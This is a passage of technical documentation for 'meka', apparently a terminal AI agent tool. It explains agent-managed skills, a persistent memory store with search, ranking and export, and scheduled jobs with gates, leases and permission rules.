meka skill add imported --from-file ./SKILL.md
| Flag | Purpose |
|---|---|
--description <DESCRIPTION> | One-line description for the system prompt. |
--priority <PRIORITY> | Listing rank 0-9, lower first. Defaults to 5. |
--metadata <KEY=VALUE> | Frontmatter metadata as key=value. Repeatable. |
--from-file <PATH> | Copy this file instead of the template. Its bytes are kept verbatim, so it must declare name itself. |
--force | Overwrite the skill directory if it exists. A replace, not an update: bundled files alongside the old SKILL.md are removed. |
--edit | Open the new SKILL.md in $VISUAL, then $EDITOR, afterwards. |
Letting the agent manage skills
By default the agent can only read skills. Setting [skills] agent_managed = true additionally
registers skill_write and skill_delete, letting it create, refine, and remove skills itself:
[skills]
agent_managed = true
This is off by default because for an ordinary terminal session you author and curate skills, and an agent rewriting that store is not something you asked for. It earns its keep in the opposite deployment: a long-running agent acting as a dispatcher over a team of sub-agents. A skill is the only thing in meka that both outlives the session and can be handed to a sub-agent as its task, so writing one is how such an agent gets a refined brief to the next sub-agent without routing the whole text through its own context window.
skill_write(name: "triage-build-failure",
description: "How to triage a failing CI build",
priority: 2,
body: "1. Fetch the log...")
agent_spawn(skill: "triage-build-failure")
Notes on how it behaves:
- Both tools run at read permission, like
memory_write. They write to meka’s own config directory rather than to your working tree, and the deployment they exist for typically runs at read permission permanently. The config flag is the authorization, not the permission tier. - Sub-agents never get them, whatever this setting says. A sub-agent that inferred something from one narrow task should not rewrite the instructions its siblings run on.
- Writing to an existing name updates it. Omitting
bodykeeps whatever the skill already documented, so a call that only changes the description or priority does not erase the procedure. Note thatmeka skill add --forceis a replace, not an update: it rewritesSKILL.mdfrom the template and removes any bundled files alongside it. The newSKILL.mdis written first, so a failure to clear a bundled file leaves the skill intact and says which files it could not remove. - Skills the agent creates are stamped
metadata.author: meka (agent-authored), someka skill listshows where an entry came from. An existingauthoris kept, so an agent refining a skill you wrote does not reassign it to itself. Informational, not a guard. - Every other frontmatter key survives a rewrite, including
license,compatibilityand anymetadatakey meka has no meaning for, with its YAML type intact, so ametadatalist stays a list. An agent asked to sharpen an imported skill’s description changes the description and nothing else. - The confirmation reports the rank the file ended up with, not the one the call asked for. The
two differ only when the skill’s
metadata:is not a map, which meka will not overwrite; the tool says so rather than claiming a change that did not happen. - A file that exists at that name but is not a valid skill is refused, not overwritten. Such a file is invisible everywhere else in meka, so nothing could tell you what was about to be lost.
- A skill from a read-only
extra_pathsroot is refused by both tools, since writing would shadow it rather than change it. - A hand-written skill in meka’s own store is not protected from being rewritten. The flag being off by default, and your config directory being in version control, is the safety net for that case.
skill_deleteremoves the whole skill directory, including any bundled files, matchingmeka skill remove.
Tips
- Use short, unambiguous skill names (e.g.
setup-postgres, notpg). The name is what the agent sees and calls, and the spec allows only lowercase alphanumerics and hyphens. - Anything meka lists, meka can remove, and so is almost anything it refuses to load. A name the spec forbids (
My_Skill,two words,not.a.skill) is skipped with the reason named, andmeka skill removestill takes it so you can clean up. The one exception is a name meka cannot render, which no command can address; rename it in a shell. One Windows reserves, likecon, loads normally: that is meka’s own write-time rule, not the spec’s. - Every write door applies the same rules.
meka skill add,skill_writeandPUT /v1/skills/{name}all refuse a name or a description the spec rejects, and refuse a skill whosenameis missing or disagrees with its directory, so a skill meka authors passesskills-ref validate.--from-filecopies your bytes verbatim, so it can still carry a key the spec does not define (that is how an imported skill keeps itswhen_to_use), but it must still declare the requiredname. Runuvx skills-ref validate <dir>when you want the reference’s own verdict on a file. - Write
descriptionconcisely, and fold the “use when…” trigger into it. It is sent to the model and consumes tokens. - Keep each skill focused on a single topic or procedure. Spawn multiple skills rather than one giant one.
- Bundle supporting files in the skill directory and reference them by relative path (
scripts/file.ext). - Skills are re-discovered on every prompt, so you can add, edit, or remove skills mid-session without restarting meka.
Memory
Memory is the agent’s own set of durable notes. It writes them itself, they survive compaction, and they outlive any single session.
Without it, an agent’s only state is its context window. When a long session compacts, detail is summarized away; conversation_search can still search the message log, but only for something you remember to look for. Memory is the deliberate half: a fact the agent decided was worth keeping, in a place it will always see.
How memory works
- Memories are rows in the
memoriestable of the store (~/.local/share/meka/meka.db, or underMEKA_DATA_DIR), one row per memory. - The store is scoped to the meka instance, not to a session or a directory. Everything sharing a
MEKA_DATA_DIRshares one memory; pointing a deployment at its own data dir gives it its own. - On every prompt, meka lists each memory’s
descriptionin the per-turn context. Bodies are not loaded automatically; the agent callsmemory_readwhen a description suggests it needs the detail. - The index is re-stated in full at the start of a session, after every compaction, and whenever it scrolls out of the context window. This is what makes memory survive compaction.
- Memories are available at every permission level except none; all four memory tools ask only for read. Writing a memory therefore needs no write authority over your files, and
workspace’s boundary does not apply to it: the store belongs to meka, not to your working tree.
Memories live in
MEKA_DATA_DIR, alongside sessions, rather than in the config directory. A backup of your config directory does not capture them;meka memory exportis what does.
Fields
| Field | Meaning |
|---|---|
name | Unique identifier, [A-Za-z0-9_-]. Case-insensitive: NOTE and note are one memory. |
description | One line, shown in every session’s index. Make it stand on its own. |
priority | 0–9, default 5. See Priority. |
tags | Lowercase labels ([a-z0-9-], at most 10) for grouping and filtering. |
body | Detail, loaded on demand by memory_read. |
created | When the memory was made. Stamped once, at creation. |
updated | When the row last changed. |
read count | How many times memory_read has opened it. Feeds search ranking. Only memory_read increments it: a search hit is weaker evidence, and reading through the CLI or the HTTP API is the operator rather than the agent. |
created versus updated
These answer different questions, and conflating them was a bug. A memory_write that changes only a description or a priority moves updated, and reading that as the observation date made a years-old note render as “today”, sort to the top of its priority band, and arrive through memory_read captioned “Saved today. This is what you recorded then”.
created is stamped once, when the memory is created, and carried forward untouched by every later write. It is what the index renders as an age, what ties are broken by, and what freshness weighting reads. updated is reported by meka memory get and the HTTP API and takes no part in ordering or ranking.
The rule is enforced by the INSERT ... ON CONFLICT DO UPDATE statement itself, which never assigns created_at on the update path, rather than by each write door remembering to preserve it.
Omitting a field keeps what is there
memory_write’s body, tags and priority are all optional, and omitting any of them keeps whatever the memory already had. That makes a metadata-only update (a reworded description, say) a single call that cannot cost the note its contents, its labels or its rank. To clear the first two, pass "" and [] explicitly.
PUT /v1/memory/{name} and meka memory add <name> --force follow the same rule.
Priority
Lower means more important (the same direction as nice, the opposite of CSS z-index). Priority decides two things: where a memory sits in the index, and which memories survive when the index hits its size budget.
| Range | Use for |
|---|---|
| 0–1 | Standing directives that always apply |
| 2–4 | Durable facts |
| 5 | Default |
| 6–9 | Situational or short-lived notes |
Within one priority band, the most recently recorded memory sorts first, so a fresh note never displaces a standing rule just for being new.
Because the agent picks a priority at write time and everything feels important then, priorities tend to drift downward over a long-lived instance. The Priority column of meka memory list shows that happening so you can rebalance. Search ranking compensates for the same drift from the other side: see Search.
Priority 0 is the always-in-context tier. A priority-0 memory has its body rendered into the per-turn context in full, not just its description, because for a standing directive the body is the directive and leaving it behind a tool call means the agent has to look the rule up before it can follow it. The band is budgeted separately from the index (4 KiB in total, 1,024 characters per memory) so a long directive cannot crowd out the index and the index cannot crowd out the directives. Priority 1 is still “standing” for ranking purposes, but is listed by description like everything else.
Priority 0 is not a promise of unlimited space. A memory the 4 KiB band cannot fit falls through to the index below, and on a large store the index has its own ceiling to ration, so past a few dozen standing memories some of them fit nowhere. The section says so explicitly when it happens, naming how many are listed by description and how many were left out entirely, because a standing rule the agent never sees is one it is being held to and cannot read. If you see that line, either raise those notes’ importance relative to the rest of the store or trim the tier: a hundred always-apply rules is not an always-apply tier.
The index budget
The index is capped at 8 KiB and 200 entries. When more memories exist than fit, the section ends with a line stating how many were left out, and, when they carry tags, what they are about:
4910 more memories not shown here, most common tags infra (820), people (611),
decisions (405); use `memory_search` to find them.
A bare count is not a usable signal once it runs to thousands: it says something is missing without saying what. The tag distribution is something the agent can turn into a query, which is most of what tags are for.
Nothing is lost. memory_search covers the whole store, including the entries the index omitted.
Search
memory_search is the primary way to reach a store larger than the index can show. It is backed by a SQLite FTS5 index over the same table.
Ranking combines three things, so the result is what you probably meant rather than merely what matched:
- relevance: BM25, weighting a hit on the name above the description, and the description above the body.
- importance: the declared priority, blended with how often you have actually read the memory. A memory opened forty times is important whatever it was labeled two years ago, which is the counterweight to priority drift.
- freshness: a gentle decay on
created, disabled entirely for priority 0–1. A two-year-old standing rule is exactly as binding as a new one; a two-year-old situational note probably is not.
Fuzzy matching works in four senses, and the result says which one answered so a guess is not mistaken for a recalled fact:
| Kind | Example | How |
|---|---|---|
| Word endings | preference finds prefers | Porter stemmer, always on |
| Typos and truncation | Tokoy, Tok | Retried as a prefix match, then by spelling distance |
| Word beginnings | deployment finds deploy | The prefix retry also works the other way |
| Unsegmented text | 深圳 inside 办公室在深圳南山区 | Retried as a literal substring |
| Different wording | verbosity for terse | Pass several phrasings in queries |
The second and third rows are the two the stemmer alone does not cover. SQLite’s Porter strips inflections (deploys, shipping, running) but not every derivation: deployment does not stem to deploy, so a search for it used to miss a memory whose body says Deploys. The prefix retry therefore runs in both directions, shortening the query as well as matching the start of the stored word, and says it was a prefix match either way.
The fourth row is why word-splitting is not the whole story. The tokenizer divides on non-alphanumerics, so Chinese, Japanese and Thai prose, and a long identifier, path or URL, arrive as a single token that only matches in full. When nothing else answers, meka scans for the query as plain text instead, and says that is what it did.
The last row is the important one: queries is a list, and supplying synonyms costs nothing. ["terse", "brevity", "verbosity"] in one call finds a memory that used any of them, which is the answer to “the agent has to guess the words it used months ago”: it does not have to guess right, only to guess several times.
Results carry enough to act on without a follow-up read: name, priority, age, read count, description, and the body itself when it is short.
The search index
The FTS index is an external-content table over memories, kept in step by three triggers. It is derived and disposable even though the memories themselves are not:
meka memory verify # check the index
meka memory verify --rebuild # regenerate it from the table
verify checks two things: that the index is structurally sound, and that it holds exactly as many documents as the store does. It deliberately does not claim more. FTS5’s own integrity-check does not compare an external-content index against its content table, so a memory whose text changed while a trigger was not firing leaves both checks happy; only searching for the new wording reveals it. If search is missing something you know is there, rebuild; it is one pass over the table and cannot lose a memory, because the index is derived.
Agent tools
| Tool | Purpose |
|---|---|
memory_write | Save a memory, or update one by writing to the same name |
memory_read | Load one memory’s body in full |
memory_search | Ranked full-text search over every memory |
memory_delete | Remove a memory permanently |
memory_read states how old the memory is and notes that it is a point-in-time observation. A memory recorded months ago is not live state, and an old note asserted as current fact is the failure this guards against. It is also the only thing that increments the read count: a search hit is weaker evidence, and an operator reading through the HTTP API is not the agent recalling anything.
memory_write also names an existing memory whose description says close to the same thing, when there is one:
Saved memory 'alice-tz' (priority 5). It is in your memory store from the next
turn on, and `memory_search` will find it whatever the index has room to list.
Note: 'alice-timezone' already says something very similar. If this is the same
fact, call memory_write on 'alice-timezone' instead and delete 'alice-tz'. Two
near-copies both stay in the index for ever and neither supersedes the other.
This never blocks the write. The failure worth preventing is the silent one, where a store grows a hundred near-copies because nothing ever mentioned the ninety-nine.
What not to save
Memory is for what is not derivable from the material at hand. Code structure, git history, and file contents are all reachable with search_contents, read_file, and execute_command, so recording them produces stale duplicates of things the agent could just look up.
What belongs in memory: who someone is and how they prefer to work, guidance you have given that should not need repeating, decisions and their reasons, and pointers to where information lives in external systems.
CLI
meka memory list # index order
meka memory get k4yt3x-prefers-terse-replies # every stored field
meka memory show k4yt3x-prefers-terse-replies # the body
meka memory list --format json # {"memories": [...]}; get and show print one object
meka memory add tz --description "K4YT3X is in UTC+8" --priority 2 --tag people
meka memory add tz --force --description "K4YT3X is in UTC+9" # keeps body, tags, priority
meka memory add runbook --description "Where the deploy runbook lives" --body "wiki/ops/deploy"
meka memory add notes --description "Meeting notes" --from-file notes.md # the body, from a file
meka memory edit stale-note # $VISUAL, then $EDITOR, on the body
meka memory remove stale-note
meka memory export --dir ~/backup/memory # one Markdown file per memory
meka memory add takes:
| Flag | Purpose |
|---|---|
--description <DESCRIPTION> | Required. The one line shown in every session’s memory index. |
--priority <PRIORITY> | 0 is most important, 9 least; defaults to 5. |
--tag <TAG> | Label for grouping and filtering; repeatable. |
--body <BODY> | Detail loaded only on memory_read. |
--from-file <PATH> | Read the body from this file instead of --body. |
--force | Update an existing memory instead of refusing; whatever is not mentioned is kept. |
In the REPL, /memory lists what is saved and /memory <name> prints one memory’s body.
--format json prints each memory with the fields GET /v1/memory uses (name, description, priority, tags, created_at, updated_at as RFC 3339) plus read_count; show adds body as stored, and list and get leave it out.
meka memory edit opens the body only. Metadata goes through meka memory add <name> --force --description ..., which keeps whatever it does not mention.
Export, backup, and git
meka memory export writes one <name>.md per memory: YAML frontmatter carrying description, priority, created, tags and read_count, followed by the body. That is the grep, git and backup answer now that memories live in the store rather than in files.
read_count is there because it is the one value a file cannot otherwise reconstruct. Descriptions, bodies and dates are all in the note; how often the agent has actually opened it is not, and a restored backup with every counter at zero would silently lose each memory’s accumulated ranking weight.
meka memory export --dir ~/notes/memory # must be new or empty
The directory must be new or empty. An export is a snapshot, and merging into an existing one would leave a stale file behind for every memory deleted since, so it would never quite match the store. An export that fails partway removes what it had written rather than leaving a truncated snapshot, which would otherwise restore as a plausible fraction of your store.
The export directory is created at mode 0700 and each file at 0600, and an existing empty directory is tightened to 0700. A memory body is a private note and the store it came from is 0600; publishing the same text world-readable because that is what the umask said would be a strange way to take a backup.
What lands on disk is byte-exact: bodies, tags, priorities and recorded dates are written exactly as stored, including zero-width joiners, CRLF line endings and leading or trailing blank lines. read_count rides along too, because it is the one value the rest of the file cannot reconstruct.
Descriptions are the one field normalized rather than preserved: every write door collapses a description to a single line before storing it, so what comes back is what was stored. A description made only of characters YAML cannot carry has no such form, and meka memory export refuses the whole run and names it rather than writing a file whose frontmatter would not parse.
An export reads back with any tool that understands YAML frontmatter; meka itself has no import command, because a store you can rebuild from a directory is a second source of truth and this subsystem deliberately has one.
Coming from a file-backed store
Memories used to be Markdown files in <config>/memory/. If you are upgrading from 0.41, the one-shot migration script attached to the 0.42 release imports them into the store; run it once, check meka memory list, then remove the directory yourself. meka never reads those files again. What it brings forward on its own is the store; a directory of files you still have is yours to import when you get to it, and importing it twice is not something a startup pass could ask you about.
Configuration
Memory is on by default. To turn it off:
[memory]
enabled = false
Disabling it keeps the four memory_* tool schemas out of every request and renders no memory section, which is worth doing if you run lean sessions that will never use it. Memories already stored are left alone, and both the meka memory subcommands and the /v1/memory endpoints still reach them: whether an agent keeps memories is a different question from whether you can inspect or back up what is already there.
There is deliberately no environment variable and no CLI flag: whether an agent keeps memories is a property of the installation, not something to vary per run.
Scheduling
Scheduling lets the agent arrange its own future turns. Without it, meka only ever acts when something outside it asks: a human typing, an editor sending a prompt, a client calling the HTTP API. A scheduled job is the one trigger nothing else supplies, which is what makes meka usable as a daemon or a standing assistant rather than a tool you drive.
The agent creates jobs itself through the schedule_create tool, so scheduling is usually a
conversation:
You: remind me in 20 minutes to check the deploy
meka: Created job
7f3a1b2c(once at 2026-08-11 15:22 +02:00). I’ll remind you then.
What a job is
A job pairs a schedule with a prompt. When it fires, the prompt is delivered as a turn.
| Schedule | Meaning | Example |
|---|---|---|
at | Fire once, then delete itself | 20m, 2h, 2026-08-12T09:00:00Z |
every | Fire on a fixed interval | 30m, 1h, 1d |
cron | Fire on a 5-field cron expression, in local time | 0 9 * * 1-5 |
Durations use the same syntax as config.toml, so every = "30m" means what
[serve] idle_timeout = "30m" means. Two things to know about it: m is minutes and M is
months, and decimals work (1.5h and 1h 30m are the same duration).
Cron expressions have no seconds field, and follow standard Vixie semantics: when both
day-of-month and day-of-week are set, the job fires when either matches, not both. A six-field
expression is refused rather than read as Quartz, where */10 * * * * * would mean every ten
seconds instead of the every-ten-minutes it looks like.
A pattern that matches no calendar date (0 0 30 2 *) is refused when the job is created. One whose
next occurrence is far off is not: 0 0 29 2 * waits up to four years for the next February 29th and
stays on the books until then.
Gates: watching something without burning tokens
A plain recurring job spends a full model turn on every fire, whether or not anything happened. Checking something every 15 minutes is roughly a hundred turns a day to say “nothing new” ninety-odd times.
A gate is a cheap check run before the turn. Only if it says something happened does the turn occur. The interval then costs a tool call or a process spawn instead of a model call, which is what makes a short cadence reasonable.
A gate has two halves. check is what to run, and when is what counts as “something happened”:
schedule_create(
every: "30s",
gate: {
check: { command: "gh pr checks 123 --json state -q '.[].state' | sort -u" },
when: "changed"
},
prompt: "CI state for PR 123 changed. Investigate and report."
)
What a gate can check
check | Runs | Needs |
|---|---|---|
{ command: "..." } | a shell command, unsandboxed | unrestricted |
{ tool: "name", arguments: {...} } | a tool call, by the name the model uses | read, and the tool must resolve to read |
A tool gate is the one to reach for when a tool exists for the job. It is available at a far lower
permission, because a structured call to a server you configured is not a shell, and it returns
structured data that when.at can point into:
schedule_create(
every: "1m",
gate: {
check: { tool: "mcp__mekabridge__unseen", arguments: {} },
when: { at: "/chats", is: "not_empty" }
},
prompt: "There are unseen chats. Read them and reply if anything needs an answer."
)
A gate may only call a tool that resolves to read. A gate asks a question; a tool that can act
is not one. This is checked when the job is created and again every time it fires, so a tool that
resolves higher after an operator retunes it stops being a gate rather than
carrying on with authority nobody granted it.
When a gate fires
when | Fires when |
|---|---|
"changed" (default) | the whole result differs from the previous evaluation |
"succeeded" | the command exits 0, or the tool call did not return an error |
{ matches: "<regex>" } | the result matches the pattern |
{ at: "<json pointer>", is: "not_empty" | "empty" | "changed" } | the pointed-at value satisfies the test |
One trap in the "succeeded" row: most MCP tools never set an error, so it is true on every
evaluation and the job fires every interval. It earns its place on a shell gate, where the exit
code is a real signal. For a tool, reach for at instead.
The gate’s output is passed into the turn it triggers, so the model does not re-run the check the
gate just ran. A pointer narrows what is judged, not what the model is told: the turn still sees
the whole result, because the surrounding fields are usually what makes the fire worth reading. The
turn sees at most 8 KiB of it, and at will read a document up to a megabyte; past that there is
nothing for a pointer to point into and the gate reports that the probe did not return JSON. A gate
should be reading a status, not a payload.
The two shapes that compare against the previous evaluation ("changed", and at with
is: "changed") always fire the first time: with nothing to compare against, “changed” is the
honest answer, and it means a typo surfaces immediately instead of lying quiet. The others judge the
result on its own, so a first evaluation is no different from any other: "succeeded" on a command
that exits non-zero does not fire, and neither does a matches whose pattern is absent.
changed is only as good as the stability of the result. The check should produce something
that changes when, and only when, the watched thing does, which is a stronger requirement than
“read-only” and is where most gates go wrong. It fails in both directions. A result carrying
something that moves on its own (a timestamp, an elapsed time, a request id, an unsorted list whose
order varies) differs on every evaluation, so the gate fires every tick and costs more than the
ungated job it replaced. A result that can return to an earlier value between polls (a bare count,
where two events arrive and one is consumed) reads as unchanged, and the gate silently misses what
happened in between.
This is the reason at exists. Almost any JSON result carries a field that moves on its own, so
"changed" over the whole of it is usually wrong; { at: "/chats", is: "changed" } watches the one
field you mean and ignores the checked_at beside it. For a shell gate, pairing a count with a
monotonic marker (git rev-list --count HEAD alongside the commit sha) does the same job.
A shell gate needs
unrestrictedpermission. It runs unattended, on a timer, until someone cancels it: a longer-lived grant thanexecute_command, which at least ends with the turn that called it. It also runs with no sandbox, soworkspacecannot authorize one: a level whose whole meaning is a write boundary must not hand out a command that has none. A tool gate is not held to this:readcarries it, provided the tool resolves toreadas well. Ungated reminders work atread.
execute_commandis a tool, and that is a door. Where a sandbox backend is usable it resolves toread, socheck: { tool: "execute_command", arguments: { command: "..." } }is a legitimate tool gate atread: an arbitrary command, on a timer, from a session that could not have authorized the shell form. What makes that acceptable is that the two are not the same thing: a gate dispatches atread, which is the levelConfinement::resolvesandboxes, so the command runs read-only-confined rather than as the baresh -cacommandgate would be. Where no sandbox is available the same tool resolves abovereadand the gate is refused instead, so “admitted” and “confined” cannot come apart. The confinement blocks writes, not the network: treat such a gate as something that can read this machine and talk to the internet, unattended, for as long as the job exists.
A gate that cannot run at all (it times out, the shell fails to start it, or its MCP server is not connected) is not treated as “nothing happened”. It is logged as a warning and the occurrence is declined, because a watcher whose check broke otherwise looks exactly like a healthy watcher with nothing to report. The marker that tells the agent about it needs two consecutive failures, and those are now an occurrence or a lease apart rather than a poll interval, so a standing breakage takes two periods to be reported rather than twenty seconds. That is the price of not re-running a broken check at tick cadence.
Declined means spent, exactly as it does for a gate that ran and said no. A recurring job moves to
its next occurrence, so a six-hour job whose server is down is probed once every six hours rather
than on every poll tick. A one-shot has no next occurrence to move to, so it keeps its claim instead
and the retry waits out [schedule] claim_lease (an hour by default), long enough that a server
restarting near the job’s due time does not cost the reminder, and bounded, because each of those
retries counts against the ceiling below. Either way the gate’s stored baseline is left alone, so
when the check starts working again it compares against the last value actually observed and reports
the change that happened while it was broken.
A non-zero exit code is different, and only succeeded reads it as failure: for a large class
of good gates it is the signal. diff -q a b and git diff --exit-code exit 1 exactly when there
is a difference; grep ERROR log exits 1 through the entire quiet period it is watching; curl -f
exits non-zero until the endpoint returns. Every other predicate judges the output and logs the exit
code at debug level, so -vv will show you a command that is failing when you suspect one, without
a warning on every tick of the many gates for which a non-zero exit is the normal state.
Where jobs run
Jobs belong to the session that created them, and only fire while that session is live in some meka process. That makes the two hosts behave differently, and the difference is worth knowing before you rely on one:
| Host | Fires | Notes |
|---|---|---|
meka serve | Every job, except on a session another process has locked | Revives evicted sessions on demand. The durable path. |
| REPL | Only jobs for the session it has open | Best-effort; a job goes dormant if you next start a different session |
| ACP | Only jobs for sessions the editor has open | The prompt appears in the transcript as the turn that triggered the reply |
--oneshot | Never | The process exits; jobs stay on disk for a later run |
If you want a job to fire reliably whether or not you are sitting at a terminal, run meka serve.
There a fire’s turn is on the session’s event feed like any other,
opening with a turn.started whose source is schedule and which names the job_id, so a client
watching the session sees the agent act on its own schedule as it happens. A message posted to the
session’s inbox while a fire runs is read at the fire’s next round
boundary, and a followup waits for it to end.
In the REPL, a job created in one session resumes only when that session does; meka --continue
picks up where you left off.
Jobs all live in the same store, so a host that does not fire a job has not lost it. A job whose
session nobody has open simply waits, and fires as soon as something that can run it picks it up:
another host, or a meka serve daemon pointed at the same data directory.
A job’s turn always joins the session that owns it, on every host. If what you want instead is a
recurring turn that carries no conversation at all, that is an external timer’s job rather than a
scheduled one: systemd, cron or Task Scheduler invoking meka --oneshot, with the level and the
profile stated outright rather than inherited from a session.
meka --oneshot --permission read --profile work -p "summarize today's alerts"
Claiming an occurrence
A due job is leased before it runs: the host records itself and an expiry on the row, delivers the turn, and then advances the schedule (or retires a one-shot). Three consequences worth knowing:
- A crash costs a retry, not the job. The row is untouched until the turn is delivered, so a host that dies mid-delivery leaves a lease that expires and the next host takes the occurrence. Before this a claim consumed the row, and a crash lost the occurrence outright: for a one-shot, the whole reminder, with nothing anywhere to recover it from.
- A cancellation always wins. Canceling deletes the row unconditionally; a host handing an occurrence back only releases its own lease, so a cancel issued while a gate is running cannot be undone by the handback.
- A job that keeps failing to be delivered is parked. Claims that end in neither a delivery nor
a handback are counted, and after three the job stops being retried. Two things reach that count:
a host that dies or panics mid-delivery, and a one-shot whose gate probe cannot be evaluated.
Both leave their claim to expire rather than giving it back, so those three attempts are a lease
apart rather than a tick apart: three panics in half a minute would otherwise park a job whose
only problem was a blip, and nothing retires a parked recurring job afterwards. The
job is not deleted: it stays listed, cancelable, and marked as held with the reason, because a
prompt that crashes meka is something to look at rather than something to throw away. Recreate it,
or cancel it. A host that simply declines a job it cannot take (
meka servefinding the session locked by a REPL) does not count, since that says nothing about the job.
[schedule] claim_lease (default "1h") is how long a lease is good for, and therefore how long a
crashed host’s occurrence waits before another host takes it. It should exceed a gate probe plus a
turn: a lease that expires under a host still working lets a second host take the same occurrence,
and although the session lock stops that becoming a second turn, the occurrence still makes a round
trip and the gate probe runs again. A host refuses to start on a claim_lease at or under
gate_timeout, since that half is checkable; the turn after the probe is unbounded, so leave real
headroom on top rather than treating that check as the whole answer.
Two hosts sharing a session do not fight over its jobs. A session is held by one process at a time,
and meka serve leaves that session’s jobs to whoever holds it rather than reaching for them and
handing the occurrence back afterwards, which matters most for a gated job, since deciding late
would mean running its probe on every tick.
More than one host on the same store
Several meka processes pointed at one data directory (two meka serve instances, or a daemon and
a terminal) all poll the same table, so the same occurrence appears in several due lists at once.
Each occurrence is nevertheless run once. A host takes it by leasing it in a single conditional
write, recording itself and an expiry on a row that no other host currently holds, and the hosts
that lose that write stop before evaluating the gate: no duplicate probe and no duplicate turn.
Which host wins is a race between their tickers and is not something you can pin down; that only
one wins is.
Under ACP the editor is a live client, which changes one thing: approvals genuinely round-trip, so a scheduled job can prompt you in the editor rather than being denied for want of anybody to ask. Stopping a scheduled turn works the same as stopping any other.
When a job fires at an idle REPL prompt, the turn interrupts the prompt and runs exactly like one you typed: output streams, Ctrl+C interrupts it, and anything you had half-typed is handed back afterwards.
Restarts and missed jobs
Jobs live in the store, so restarting the process (or the meka serve systemd unit) does not
lose them. What happens to jobs whose time passed while meka was down depends on the kind:
- Recurring jobs fire once and resume. A 30-second job that was down for six hours has 720 missed occurrences; it produces exactly one turn, which is told how many it stands in for. It is then rescheduled from now, so an outage never turns into a burst.
- One-shot jobs fire if they are still relevant. Past
[schedule] missed_grace(24 hours by default) they are dropped instead. A reminder to join a standup, delivered five days late, is noise. One that does fire is told how late it is, so the agent can judge whether it still matters.
That collapsing is per job. A session with several jobs all due at once still wakes to a turn each,
and a sweep runs at most [schedule] max_consecutive_fires (5 by default) of any one session’s
jobs before moving on. The rest keep their occurrence and their gate baseline and are taken by the
next sweep, most-overdue first, so nothing is lost and nothing starves. A job held over runs no gate
and is not claimed, so holding one over is free.
What this does and does not do. It bounds a batch, not a total: forty due jobs still produce
forty turns, and they are not spaced out: a sweep that ran long leaves the next one already due.
What changes is that they arrive in groups of five, so under meka serve another session’s single
due job is reached after five of the first session’s rather than after all forty.
If you want a large backlog not to land at all, that is not what this setting is for. Cancel the
jobs (meka schedule list, then meka schedule cancel <id>) before starting a host that will fire
them, or leave [schedule] enabled = false while you clear it.
A recurring job that fires and then fails (most often because the provider is unreachable)
leaves nothing behind in the conversation: its prompt is withdrawn, because the job produces it again
on the next occurrence. Without that, an outage would deposit one unanswered message per fire for as
long as it lasted. A one-shot keeps its prompt, because nothing will produce it again: its row
is retired as soon as the turn is delivered, so that message is the last trace the reminder ever
fired. A turn that got as far as running a tool keeps everything either way, since there is real work behind
it. Failures are recorded regardless: meka serve logs them and sends a schedule.fired webhook
with status: "failed".
Unattended turns and permissions
Under meka serve a scheduled turn has no human on the other end, so with approvals on every
approval resolves to deny and the job fails to do whatever needed approval. The denial appears in
the session transcript rather than anywhere louder, so a job on such a session that seems to do
nothing is worth checking there first.
The REPL and ACP both have someone attached, so approvals reach them normally.
A job’s turn runs at whatever permission the session holds when it fires, not at the level the
job was created with: the level lives on the session and the session is mutable, through Shift+Tab in
the REPL or PATCH /v1/sessions/{id} under serve.
With one floor: a session at none fires nothing, gated or not. Nothing is executable there, so the
turn would read nothing, change nothing, and could not even reach schedule_cancel to stop itself
being woken again. The agent can see the job (a tool’s registration does not depend on the
permission level, so [Scheduled] still lists it and schedule_cancel is still offered) but every
call is refused at dispatch, which leaves it able to describe the problem and unable to fix it. An
every = "5s" reminder on such a session was a turn’s worth of tokens every five seconds with no
in-session way to stop it. Raise the session to restore the job; it is declined, not canceled, and a
one-shot that came due while the session was down there is kept rather than spent.
A job’s gate is the exception, because it runs unattended. Its bar is re-checked from two places
every time the job comes due: the level recorded on the job when it was authored, and the level the
session holds now. What that bar is depends on what the gate runs (unrestricted for a shell
command, read for a tool call), and for a tool gate the tool’s own resolved level is looked up
again too, so retuning a tool’s level takes effect on the next fire rather than whenever the job
is next rewritten. That level comes from [tools.tool_permissions] for a built-in, and for an MCP tool from the
five-step chain in Permission resolution: the
server’s tool_permissions, its permission, the tool’s readOnlyHint, [mcp] default_permission,
then unrestricted. Step four is worth knowing about here: one global line turns every unannotated
tool on every server into a read probe a gate may call. And readOnlyHint is asserted by the
server and not verified by meka, which is a weaker footing under a gate than under a call in
conversation, because nobody reads the result of a gate.
That second level is the session’s own, recorded on its row and kept current by whichever surface
owns it: Shift+Tab and /permission in the REPL, session/set_mode under ACP, PATCH /v1/sessions/{id} under serve. The process that has the session open reads the level the session
holds right now, so a change takes effect there even if writing it to the row failed. Every other
process that polls the schedule reads the row, so withdrawing the level works across processes: a
meka serve daemon sharing the data directory will refuse a gate you just dropped in a REPL.
Nothing else is read: every surface records a level when it creates a session, and a row that
somehow carries none fires nothing at all, rather than falling back to whatever the polling process
was started with.
Drop the session below what the gate needs and the gate stops running, and with it the job, because a gate is the condition on the job and an unevaluated condition has not been met. The occurrence is declined, and a warning is logged naming the job. Raise the session back to restore it. Unlike a gate that ran and said “nothing happened”, a held gate was never evaluated at all, so a one-shot that came due while it was held is kept rather than spent.
The agent is told too, not just the log. A job that cannot currently fire is marked in the
[Scheduled] block it sees every turn and in schedule_list, as NOT FIRING: <reason>, with the
same sentence the warning carries; the moment a gate is withdrawn or restored is announced as a
world change. This matters because the two states are otherwise identical from the agent’s side: a
held job and a healthy watcher with nothing to report both simply never fire. It can act on the
difference, since schedule_cancel needs only read.
A gate whose probe keeps breaking is marked the same way, after two consecutive failures. A server
that changed its schema, a command that was uninstalled, a pointer into a result that stopped being
JSON: each errors on every evaluation, and each is a dead watcher that looks exactly like a quiet
one. The first failure is deliberately not reported, because one failure is as often a blip as a
break. This one is tracked in memory rather than on the row, so it is known to the process running
the job: a restart re-establishes it within two poll intervals, and meka schedule list, which is a
separate process, does not see it.
Four surfaces report it, and each says only what it can establish:
-
[Scheduled]andschedule_listcarry the full sentence, since the agent is the one that can recreate or cancel the job. -
/schedulehas aHeldcolumn:yeswhen the job cannot fire, blank when it can, and?when this process cannot establish the answer. Blank means “it will fire”, not “I did not check”. It runs inside a host and uses its MCP manager, so it resolves tool gates; it shows?for a job whose session level it could not read, since that is unestablished rather than fine. -
meka schedule showspells the same verdict out on awithheld:line. It is a separate process from any host and so cannot resolve a tool gate, reporting that as unknown rather than as fine.meka schedule listdoes not carry it at all: a column that is blank on almost every row is a poor use of a table this wide.Both apply
